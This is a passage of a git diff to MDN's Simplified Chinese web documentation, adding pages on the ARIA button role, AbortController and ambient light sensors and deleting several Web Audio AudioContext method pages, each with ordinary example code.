按钮是交互式控件,因此其本身是可聚焦的。如果button 角色被添加到一个自身不可聚焦的元素(such as <span><div> or <p>) 那么必须使用tabindex 属性来使按钮可聚焦。

+ +

按钮可以由鼠标用户和键盘用户操作。 对于原生HTML <button> 元素 ,按钮的 onclick 事件会在鼠标单击和按下键盘的 Space or Enter 时被触发, 同时这个按钮处于聚焦状态。 但是如果使用其他标签来创建“自定义按钮”,那么onclick事件只会在点击鼠标光标时触发,即使使用role="button" 。因此,开发人员必须向元素添加一个单独的关键事件处理程序,以便在按下 Space or Enter 时触发按钮。

+ +

Warning: 把给一个链接标记为按钮角色的链接时要谨慎。按钮将使用 Space or Enter 键触发,而链接被期望使用 Enter 键触发。 换句话说,当链接被用来作为按钮的时候,仅仅添加role="button"是不够的。还需要添加一个 key 事件处理程序来侦听 Space 键,以便与原生按钮保持一致。

+ +

可切换的按钮

+ +

使用role="button"的一个优点是它允许创建切换按钮。一个切换按钮可以有两个状态:pressed,not pressed。除了 button角色之外,按钮是否为切换按钮,也可以用aria-pressed的属性来表示。

+ + + +

Labeling buttons

+ +

按钮应该总是有一个可访问的名称。对于大多数按钮,这个名称将与按钮中的文本相同。在某些情况下,例如图标按钮,可通过 aria-labelaria-labelledby 属性提供可访问的名称。

+ +

对用户代理和辅助技术的可能影响

+ +

当使用 button 角色时,用户代理应该将该元素公开为操作系统的易访问性API中的按钮控件。屏幕阅读器应该将元素声明为一个按钮并描述其可访问的名称。语音识别软件应该可以通过说:"点击"+按钮的可访问的name 就能激活这个按钮。

+ +
Note: 关于辅助技术如何处理这种技术,意见可能有所不同。上面所提供的信息是其中之一,因此并非规范。
+ +

Examples

+ +

ARIA Basic Button

+ +

在下面的代码片段中,一个span元素已经被赋予了按钮角色。由于使用的是 <span> 元素,因此需要提供 tabindex 属性使按钮的可聚焦并成为tab顺序流中的一部分。注意,这段代码提供了CSS样式,以使 <span>元素看起来像一个按钮, handleBtnClickhandleBtnKeyPress 是事件处理程序,当鼠标单击、 Space or Enter 被按下时,执行该按钮的操作。

+ +
<span role="button" tabindex="0" onclick="handleBtnClick()" onKeyPress="handleBtnKeyPress()">Save</span>
+
+ +

ARIA Toggle Button

+ +

在这个片段中,使用 button 角色和 aria-pressed 属性,来将 <span> 元素转换为一个切换按钮,当按钮被激活时, aria-pressed 的值在true和false之间切换。

+ +

HTML

+ +
<button type="button" aria-pressed="false" onclick="handleBtnClick(event)">
+  Native button toggle
+</button>
+
+<span role="button" tabindex="0"
+ aria-pressed="false" onclick="handleBtnClick(event)"
+ onKeyPress="handleBtnKeyPress(event)">
+  Span button toggle
+</span>
+ +

CSS

+ +
button,
+[role="button"] {
+    padding: 3px;
+    border: 1px solid #CCC;
+}
+
+button[aria-pressed="true"],
+[role="button"][aria-pressed="true"] {
+    border: 2px solid #000;
+}
+
+ +

JavaScript

+ +
function handleBtnClick(event) {
+  toggleButton(event.target);
+}
+
+function handleBtnKeyPress(event) {
+  // Check to see if space or enter were pressed
+  if (event.key === " " || event.key === "Enter") {
+    // Prevent the default action to stop scrolling when space is pressed
+    event.preventDefault();
+    toggleButton(event.target);
+  }
+}
+
+function toggleButton(element) {
+  // Check to see if the button is pressed
+  var pressed = (element.getAttribute("aria-pressed") === "true");
+  // Change aria-pressed to the opposite state
+  element.setAttribute("aria-pressed", !pressed);
+}
+ +

Result

+ +

{{EmbedLiveSample('ARIA_Toggle_Button')}}

+ +

Notes 

+ +

ARIA attributes used

+ + + +

Additional resources

+ + diff --git a/files/zh-cn/web/accessibility/web_development/index.html b/files/zh-cn/web/accessibility/web_development/index.html deleted file mode 100644 index b01b7be6dd..0000000000 --- a/files/zh-cn/web/accessibility/web_development/index.html +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Web Development -slug: Web/Accessibility/Web_Development -tags: - - 网页无障碍访问 -translation_of: Web/Accessibility -translation_of_original: Web/Accessibility/Web_Development ---- -

本篇文档为开发者提供了有关网站无障碍访问以及XUL无障碍开发的更多信息。

- - - - - - - - -
-

网页无障碍访问

- -
-
ARIA - 针对开发者
-
ARIA的应用,使得动态HTML的页面内容具有了无障碍的可访问性。在许多的示例中我们都使用了ARIA应用,例如:在线内容区域以及Javascript小组件等。
-
Javascript 组件之键盘导航
-
到现在为止,那些想让基于固有组件的<DIV>和<span>拥有特定样式的Web开发人员,在技术层面都略欠火候。键盘辅助的可用性,同样是必要需求之一,需要开发人员引起足够的重视。
-
- -

XUL 可访问性

- -
-
 
-
在XUL中构建可访问的自定义组件
-
使用DHTML无障碍访问技术,来为自定义的XUL组件添加可访问属性。
-
可访问性XUL使用指南
-
当根据使用指南编写完成的同时, XUL有能力自行整合出无障碍用户界面。程序员、核查者、设计师以及质量监管工程师都应该对使用指南保持一定的熟悉程度。
-
-
-

外部资源

- -
-
深入探寻无障碍访问
-
这本书回答了两个问题。第一个问题是:“为什么我要让我的网站更具无障碍访问性?”第二个问题是“如何使我的网站做到这一点?”
-
无障碍访问网页的编写
-
这是一本来自于IBM的便携式无障碍访问列表。
-
-
- -

 

diff --git a/files/zh-cn/web/api/abortcontroller/abort/index.html b/files/zh-cn/web/api/abortcontroller/abort/index.html new file mode 100644 index 0000000000..d661e73d2b --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abort/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.abort() +slug: Web/API/FetchController/abort +translation_of: Web/API/AbortController/abort +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

The abort() method of the {{domxref("AbortController")}} interface aborts a DOM request (e.g. a Fetch request) before it has completed. This is able to abort fetch requests, consumption of any response {{domxref("Body")}}, and streams.

+ +

Syntax

+ +
controller.abort();
+ +

Parameters

+ +

None.

+ +

Return value

+ +

Void.

+ +

Examples

+ +

In the following snippet, we aim to download a video using the Fetch API.

+ +

We first create a controller using the {{domxref("AbortController.AbortController","AbortController()")}} constructor, then grab a reference to its associated {{domxref("AbortSignal")}} object using the {{domxref("AbortController.signal")}} property.

+ +

When the fetch request is initiated, we pass in the AbortSignal as an option inside the request's options object (see {signal}, below). This associates the signal and controller with the fetch request and allows us to abort it by calling {{domxref("AbortController.abort()")}}, as seen below in the second event listener.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

Note: When abort() is called, the fetch() promise rejects with an AbortError.

+
+ +

You can find a full working example on GitHub — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abort', 'abort()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.abort")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html new file mode 100644 index 0000000000..35fe67d1ae --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/abortcontroller/index.html @@ -0,0 +1,85 @@ +--- +title: AbortController.AbortController() +slug: Web/API/FetchController/AbortController +tags: + - AbortController + - Constructor + - Fetch +translation_of: Web/API/AbortController/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController() 构造函数创建了一个新的AbortController实例

+ +

Syntax

+ +
var controller = new AbortController();
+ +

Parameters

+ +

无.

+ +

Examples

+ +

在下面的这段代码中, 我们将通过Fetch API来下载一段视频.

+ +

首先通过{{domxref("AbortController.AbortController","AbortController()")}} 构造函数来创建一个controller实例, 然后通过{{domxref("AbortController.signal")}} 属性获取到它的关联对象{{domxref("AbortSignal")}} 的引用.

+ +

当 fetch request 初始化后, 将 AbortSignal 作为一个选项传入请求的选项参数中 (如下 {signal}). 这将signal,controller与fetch请求关联起来, 允许我们通过调用{{domxref("AbortController.abort()")}}来取消fetch请求, 正如下第二个事件监听器所示.

+ +
var controller = new AbortController();
+var signal = controller.signal;
+
+var downloadBtn = document.querySelector('.download');
+var abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  ...
+  fetch(url, {signal}).then(function(response) {
+    ...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

提示: 当abort() 被调用,  fetch() promise 将会抛出一个AbortError对象.

+
+ +

你可以在GitHub上找到一个完整的使用示例 — see abort-api (see it running live also).

+ +

Specifications

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#dom-abortcontroller-abortcontroller', 'AbortController()')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

Browser compatibility

+ + + +

{{Compat("api.AbortController.AbortController")}}

+ +

See also

+ + diff --git a/files/zh-cn/web/api/abortcontroller/index.html b/files/zh-cn/web/api/abortcontroller/index.html new file mode 100644 index 0000000000..4211eb8211 --- /dev/null +++ b/files/zh-cn/web/api/abortcontroller/index.html @@ -0,0 +1,106 @@ +--- +title: AbortController +slug: Web/API/FetchController +tags: + - API + - AbortController + - Fetch + - how to cancel a fetch request +translation_of: Web/API/AbortController +--- +
{{APIRef("DOM")}}{{SeeCompatTable}}
+ +

AbortController接口表示一个控制器对象,允许你根据需要中止一个或多个 Web请求。

+ +

你可以使用 {{domxref("AbortController.AbortController()")}} 构造函数创建一个新的 AbortController 。使用{{domxref("AbortSignal")}} 对象可以完成与与DOM请求的通信。

+ +

构造函数

+ +
+
{{domxref("AbortController.AbortController()")}}
+
创建一个新的AbortController 对象实例。
+
+ +

属性

+ +
+
{{domxref("AbortController.signal")}} {{readonlyInline}}
+
返回一个{{domxref("AbortSignal")}}对象实例,它可以用来 with/abort 一个Web(网络)请求。
+
+ +

方法

+ +
+
{{domxref("AbortController.abort()")}}
+
中止一个尚未完成的Web(网络)请求。这能够中止fetch 请求,任何响应{{domxref("Body")}}的消费者和流。
+
+ +

示例

+ +

在下面的代码片段中,我们想通过 Fetch API 下载一段视频。

+ +

我们先使用{{domxref("AbortController.AbortController","AbortController()")}}构造函数创建一个控制器,然后使用{{domxref("AbortController.signal")}}属性获取其关联 {{domxref("AbortSignal")}}对象的引用。

+ +

当一个 fetch request 初始化,我们把 AbortSignal 作为一个选项传递到到请求对象(如下 {signal})。这将信号和控制器与获取请求相关联然后允许我们通过调用{{domxref("AbortController.abort()")}}中止请求,如下第二个事件监听函数。

+ +
const controller = new AbortController();
+let signal = controller.signal;
+
+const downloadBtn = document.querySelector('.download');
+const abortBtn = document.querySelector('.abort');
+
+downloadBtn.addEventListener('click', fetchVideo);
+
+abortBtn.addEventListener('click', function() {
+  controller.abort();
+  console.log('Download aborted');
+});
+
+function fetchVideo() {
+  //...
+  fetch(url, {signal}).then(function(response) {
+    //...
+  }).catch(function(e) {
+    reports.textContent = 'Download error: ' + e.message;
+  })
+}
+ +
+

注意:abort() 被调用时,fetch() promise 拒绝一个名为 AbortError 的DOMException

+
+ +

可以在GitHub上找到完整的工作示例 — 请参见 abort-api另请参见实时运行)。

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM WHATWG', '#interface-abortcontroller', 'AbortController')}}{{Spec2('DOM WHATWG')}}Initial definition
+ +

浏览器兼容

+ + + +

{{Compat("api.AbortController")}}

+ +

参见

+ + + +
+
+
diff --git a/files/zh-cn/web/api/ambient_light_events/index.html b/files/zh-cn/web/api/ambient_light_events/index.html new file mode 100644 index 0000000000..f90edf8ca2 --- /dev/null +++ b/files/zh-cn/web/api/ambient_light_events/index.html @@ -0,0 +1,74 @@ +--- +title: Using Light Events +slug: Web/API/DeviceLightEvent/Using_light_events +tags: + - WebAPI + - 事件 + - 环境光 +translation_of: Web/API/Ambient_Light_Events +--- +
{{DefaultAPISidebar("Ambient Light Events")}}{{SeeCompatTable}}
+ +

环境光线事件是一个易用的让网页或应用感知光强变化的方法。它使网页或应用能对光强变化做出反应,例如改变用户界面的颜色对比度,或为拍照而改变曝光度。

+ +

光线事件

+ +

当设备的光线传感器检测到光强等级的变化时,它会向浏览器通知这个变化。当浏览器得到这个通知后,会发送(fire)一个提供光强信息的 {{domxref("DeviceLightEvent")}} 事件。

+ +

想要捕获这个事件,可用 {{domxref("EventTarget.addEventListener","addEventListener")}} 方法把事件处理器绑定到 window 上(使用 {{event("devicelight")}} 事件名),或者直接把事件处理器赋值给 {{domxref("window.ondevicelight")}} 属性。

+ +

该事件被捕捉后,可以从传入的事件对象上的 {{domxref("DeviceLightEvent.value")}} 属性获取光强(单位为 {{interwiki("wikipedia", "lux")}})。

+ +

示例

+ +
if ('ondevicelight' in window) {
+  window.addEventListener('devicelight', function(event) {
+    var body = document.querySelector('body');
+    if (event.value < 50) {
+      body.classList.add('darklight');
+      body.classList.remove('brightlight');
+    } else {
+      body.classList.add('brightlight');
+      body.classList.remove('darklight');
+    }
+  });
+} else {
+  console.log('不支持 devicelight 事件');
+}
+
+ +

规范

+ + + + + + + + + + + + + + + + +
规范状态备注
{{ SpecName('AmbientLight', '', 'Ambient Light Events') }}{{ Spec2('AmbientLight') }}首次定义
+ +

浏览器兼容性

+ + + +

{{Compat("api.DeviceLightEvent")}}

+ +

Gecko 备注

+ +

{{event("devicelight")}} 事件在 Firefox Mobile for Android (15.0) 和 Firefox OS (B2G) 上实现并默认可用。从Gecko 22.0 {{geckoRelease("22.0")}} 开始,Mac OS X桌面版也可使用该事件。

+ +

参见

+ + diff --git a/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html new file mode 100644 index 0000000000..b2b592a422 --- /dev/null +++ b/files/zh-cn/web/api/ambientlightsensor/illuminance/index.html @@ -0,0 +1,94 @@ +--- +title: reading +slug: Web/API/AmbientLightSensor/reading +translation_of: Web/API/AmbientLightSensor/illuminance +translation_of_original: Web/API/AmbientLightSensor/reading +--- +

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

+ +

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

+ +

语法

+ +
var sensorReading = AmbientLightLevel.reading
+ +

返回值

+ +

{{domxref('AmbientLightSensorReading')}} 接口.

+ +

用例

+ +
// TBD
+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
+
diff --git a/files/zh-cn/web/api/ambientlightsensor/reading/index.html b/files/zh-cn/web/api/ambientlightsensor/reading/index.html deleted file mode 100644 index b2b592a422..0000000000 --- a/files/zh-cn/web/api/ambientlightsensor/reading/index.html +++ /dev/null @@ -1,94 +0,0 @@ ---- -title: reading -slug: Web/API/AmbientLightSensor/reading -translation_of: Web/API/AmbientLightSensor/illuminance -translation_of_original: Web/API/AmbientLightSensor/reading ---- -

{{SeeCompatTable}}{{APIRef("Ambient Light Sensor API")}}

- -

{{domxref("AmbientLightSensor")}} 接口的 read-only 属性 reading 返回一个访问 {{domxref('AmbientLightSensorReading')}} 的接口, 包含当前的光亮级别。

- -

语法

- -
var sensorReading = AmbientLightLevel.reading
- -

返回值

- -

{{domxref('AmbientLightSensorReading')}} 接口.

- -

用例

- -
// TBD
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('AmbientLight')}}{{Spec2('AmbientLight')}}Initial definition.
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidAndroid WebviewFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatNo}}{{CompatChrome(54.0)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatChrome(54.0)}}
-
diff --git a/files/zh-cn/web/api/analysernode/fft/index.html b/files/zh-cn/web/api/analysernode/fft/index.html deleted file mode 100644 index f553738351..0000000000 --- a/files/zh-cn/web/api/analysernode/fft/index.html +++ /dev/null @@ -1,7 +0,0 @@ ---- -title: Directory failure 目录失效 -slug: Web/API/AnalyserNode/fft ---- -

目录失效

- -

Directory failure

diff --git a/files/zh-cn/web/api/audiocontext/createanalyser/index.html b/files/zh-cn/web/api/audiocontext/createanalyser/index.html deleted file mode 100644 index 2d00a8a100..0000000000 --- a/files/zh-cn/web/api/audiocontext/createanalyser/index.html +++ /dev/null @@ -1,154 +0,0 @@ ---- -title: AudioContext.createAnalyser() -slug: Web/API/AudioContext/createAnalyser -translation_of: Web/API/BaseAudioContext/createAnalyser ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }}的createAnalyser()方法能创建一个{{ domxref("AnalyserNode") }},可以用来获取音频时间和频率数据,以及实现数据可视化。

-
- -
-

注意:关于该节点的更多信息,请查看{{domxref("AnalyserNode")}}

-
- -

语法

- -
var audioCtx = new AudioContext();
-var analyser = audioCtx.createAnalyser();
- -

返回值

- -

{{domxref("AnalyserNode")}}对象

- -

例子

- -

下面的例子展示了AudioContext创建分析器节点的基本用法,然后用requestAnimationFrame()来反复获取时域数据,并绘制出当前音频输入的“示波器风格”输出。更多完整例子请查看Voice-change-O-matic demo (中app.js的128–205行代码)

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var analyser = audioCtx.createAnalyser();
-
-  ...
-
-analyser.fftSize = 2048;
-var bufferLength = analyser.fftSize;
-var dataArray = new Uint8Array(bufferLength);
-analyser.getByteTimeDomainData(dataArray);
-
-// draw an oscilloscope of the current audio source
-
-function draw() {
-
-      drawVisual = requestAnimationFrame(draw);
-
-      analyser.getByteTimeDomainData(dataArray);
-
-      canvasCtx.fillStyle = 'rgb(200, 200, 200)';
-      canvasCtx.fillRect(0, 0, WIDTH, HEIGHT);
-
-      canvasCtx.lineWidth = 2;
-      canvasCtx.strokeStyle = 'rgb(0, 0, 0)';
-
-      canvasCtx.beginPath();
-
-      var sliceWidth = WIDTH * 1.0 / bufferLength;
-      var x = 0;
-
-      for(var i = 0; i < bufferLength; i++) {
-
-        var v = dataArray[i] / 128.0;
-        var y = v * HEIGHT/2;
-
-        if(i === 0) {
-          canvasCtx.moveTo(x, y);
-        } else {
-          canvasCtx.lineTo(x, y);
-        }
-
-        x += sliceWidth;
-      }
-
-      canvasCtx.lineTo(canvas.width, canvas.height/2);
-      canvasCtx.stroke();
-    };
-
-    draw();
- -

规范

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createAnalyser-AnalyserNode', 'createAnalyser()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0{{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

另见

- - diff --git a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html b/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html deleted file mode 100644 index fa5884ad71..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbiquadfilter/index.html +++ /dev/null @@ -1,139 +0,0 @@ ---- -title: AudioContext.createBiquadFilter() -slug: Web/API/AudioContext/createBiquadFilter -tags: - - API - - EQ - - Web Audio API - - 参考 - - 方法 - - 滤波器 -translation_of: Web/API/BaseAudioContext/createBiquadFilter ---- -

{{ APIRef("Web Audio API") }}

- -
-

{{ domxref("AudioContext") }} 的createBiquadFilter() 方法创建了一个  {{ domxref("BiquadFilterNode") }}, 它提供了一个可以指定多个不同的一般滤波器类型的双二阶滤波器。

-
- -

语法

- -
var audioCtx = new AudioContext();
-var biquadFilter = audioCtx.createBiquadFilter();
- -

返回

- -

一个 {{domxref("BiquadFilterNode")}}.

- -

示例

- -

这个例子展示了一个利用AudioContext 创建四项滤波器节点( Biquad filter node)的例子。想要查看完整工作的示例,请查看我们的For voice-change-o-matic 样例 (也可以查看  源码 ).

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-
-//set up the different audio nodes we will use for the app
-var analyser = audioCtx.createAnalyser();
-var distortion = audioCtx.createWaveShaper();
-var gainNode = audioCtx.createGain();
-var biquadFilter = audioCtx.createBiquadFilter();
-var convolver = audioCtx.createConvolver();
-
-// connect the nodes together
-
-source = audioCtx.createMediaStreamSource(stream);
-source.connect(analyser);
-analyser.connect(distortion);
-distortion.connect(biquadFilter);
-biquadFilter.connect(convolver);
-convolver.connect(gainNode);
-gainNode.connect(audioCtx.destination);
-
-// Manipulate the Biquad filter
-
-biquadFilter.type = "lowshelf";
-biquadFilter.frequency.value = 1000;
-biquadFilter.gain.value = 25;
- -

规格

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Audio API', '#widl-AudioContext-createBiquadFilter-BiquadFilterNode', 'createBiquadFilter()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - - - -
FeatureChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatVersionUnknown}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidEdgeFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}{{CompatVersionUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

 

- -

相关

- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffer/index.html b/files/zh-cn/web/api/audiocontext/createbuffer/index.html deleted file mode 100644 index 2d29213737..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffer/index.html +++ /dev/null @@ -1,181 +0,0 @@ ---- -title: AudioContext.createBuffer() -slug: Web/API/AudioContext/createBuffer -tags: - - 创建音频片段 - - 接口 - - 方法 - - 音频环境 -translation_of: Web/API/BaseAudioContext/createBuffer ---- -

音频环境{{ domxref("AudioContext") }} 接口的 createBuffer() 方法用于新建一个空白的 {{ domxref("AudioBuffer") }} 对象,以便用于填充数据,通过 {{ domxref("AudioBufferSourceNode") }} 播放。

- -

更多关于音频片段(Audio Buffer)的细节,请参考{{ domxref("AudioBuffer") }}页面。

- -
-

注意: createBuffer() 曾被用于接收压缩后的音频数据,并返回被解码的音频,但是这项功能现在已经被移除,因为所有的解码工作应当在主线程中被完成,createBuffer() 阻塞了其他代码的执行。异步方法 decodeAudioData() 能够完成相同的工作 —— 传入一个压缩过的音频(如MP3格式的文件),并直接返回一个可以通过 {{ domxref("AudioBufferSourceNode") }} 播放的 {{ domxref("AudioBuffer") }} 。因此播放诸如MP3等格式的压缩音频时,你应当使用 decodeAudioData() 方法。

-
- -

语法

- -
AudioContext.createBuffer(Number numOfChannels, Number length, Number sampleRate);
- -

参数

- -
-

注意:如果想深入了解 audio buffers 是如何工作的、这些参数的具体含义,请阅读这篇简短的指南: Audio buffers: frames, samples and channels(英)。

-
- -
-
numOfChannels
-
一个定义了 buffer 中包含的声频通道数量的整数。
- 一个标准的实现必须包含至少32个声频通道。
-
 
-
length
-
一个代表 buffer 中的样本帧数的整数。
-
sampleRate
-
线性音频样本的采样率,即每一秒包含的关键帧的个数。实现过程中必须支持 22050~96000的采样率。
-
- -

 

- -

返回值

- -

一个 {{domxref("AudioBuffer")}}。

- -

示例

- -

首先,我们将从几个浅显易懂的示例入手,来解释如何使用这些参数:

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(2, 22050, 44100);
- -

如果你这样调用,你将会得到一个立体声(两个声道)的音频片段(Buffer),当它在一个频率为44100赫兹(这是目前大部分声卡处理声音的频率)的音频环境({{ domxref("AudioContext") }})中播放的时候,会持续0.5秒:22050帧 / 44100赫兹 = 0.5 秒。

- -
var audioCtx = new AudioContext();
-var buffer = audioCtx.createBuffer(1, 22050, 22050);
- -

如果你这样调用,你将会得到一个单声道的音频片段(Buffer),当它在一个频率为44100赫兹的音频环境({{ domxref("AudioContext") }})中播放的时候,将会被自动按照44100赫兹*重采样*(因此也会转化为44100赫兹的片段),并持续1秒:44100帧 / 44100赫兹 = 1秒。

- -
-

注意: 音频重采样与图片的缩放非常类似:比如你有一个16 x 16的图像,但是你想把它填充到一个32 x 32大小的区域,你就要对它进行缩放(重采样)。得到的结果会是一个叫低品质的(图像会模糊或者有锯齿形的边缘,这取决于缩放采用的算法),但它却是能将原图形缩放,并且缩放后的图像占用空间比相同大小的普通图像要小。重新采样的音频道理相同——你会介于一些空间,但事实上你无法产出高频率的声音(高音区)。

-
- -

现在让我们来看一个更加复杂的示例,我们将创建一个时长2秒的音频片段,并用白噪声填充它,之后通过一个 音频片段源节点({{ domxref("AudioBufferSourceNode") }}) 播放。代码中的注释应该能充分解释发生了什么。你可以 在线演示 ,或者 查看源代码

- -
var audioCtx = new (window.AudioContext || window.webkitAudioContext)();
-var button = document.querySelector('button');
-var pre = document.querySelector('pre');
-var myScript = document.querySelector('script');
-
-pre.innerHTML = myScript.innerHTML;
-
-// 立体声
-var channels = 2;
-// 创建一个 采样率与音频环境(AudioContext)相同的 时长2秒的 音频片段。
-var frameCount = audioCtx.sampleRate * 2.0;
-
-var myArrayBuffer = audioCtx.createBuffer(channels, frameCount, audioCtx.sampleRate);
-
-button.onclick = function() {
-  // 使用白噪声填充;
-  // 就是 -1.0 到 1.0 之间的随机数
-  for (var channel = 0; channel < channels; channel++) {
-   // 这允许我们读取实际音频片段(AudioBuffer)中包含的数据
-   var nowBuffering = myArrayBuffer.getChannelData(channel);
-   for (var i = 0; i < frameCount; i++) {
-     // Math.random() is in [0; 1.0]
-     // audio needs to be in [-1.0; 1.0]
-     nowBuffering[i] = Math.random() * 2 - 1;
-   }
-  }
-
-  // 获取一个 音频片段源节点(AudioBufferSourceNode)。
-  // 当我们想播放音频片段时,我们会用到这个源节点。
-  var source = audioCtx.createBufferSource();
-  // 把刚才生成的片段加入到 音频片段源节点(AudioBufferSourceNode)。
-  source.buffer = myArrayBuffer;
-  // 把 音频片段源节点(AudioBufferSourceNode) 连接到
-  // 音频环境(AudioContext) 的终节点,这样我们就能听到声音了。
-  source.connect(audioCtx.destination);
-  // 开始播放声源
-  source.start();
-}
- -

规范

- - - - - - - - - - - - - - -
规范现状备注
{{SpecName('Web Audio API', '#widl-AudioContext-createBuffer-AudioBuffer-unsigned-long-numberOfChannels-unsigned-long-length-float-sampleRate', 'createBuffer()')}}{{Spec2('Web Audio API')}} 
- -

浏览器兼容性

- -
{{CompatibilityTable}}
- -
- - - - - - - - - - - - - - - - - - - -
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(10.0)}}{{property_prefix("webkit")}}{{CompatGeckoDesktop(25.0)}} {{CompatNo}}15.0 {{property_prefix("webkit")}}
- 22
6.0{{property_prefix("webkit")}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - -
FeatureAndroidFirefox Mobile (Gecko)Firefox OSIE MobileOpera MobileSafari MobileChrome for Android
Basic support{{CompatUnknown}}26.01.2{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}33.0
-
- -

相关链接

- - diff --git a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html b/files/zh-cn/web/api/audiocontext/createbuffersource/index.html deleted file mode 100644 index 5244513312..0000000000 --- a/files/zh-cn/web/api/audiocontext/createbuffersource/index.html +++ /dev/null @@ -1,150 +0,0 @@ ---- -title: AudioContext.createBufferSource() -slug: Web/API/AudioContext/createBufferSource -tags: - - API - - 音源 - - 音频源 - - 音频节点 -translation_of: Web/API/BaseAudioContext/createBufferSource ---- -

{{ APIRef("Web Audio API") }}

- -
-

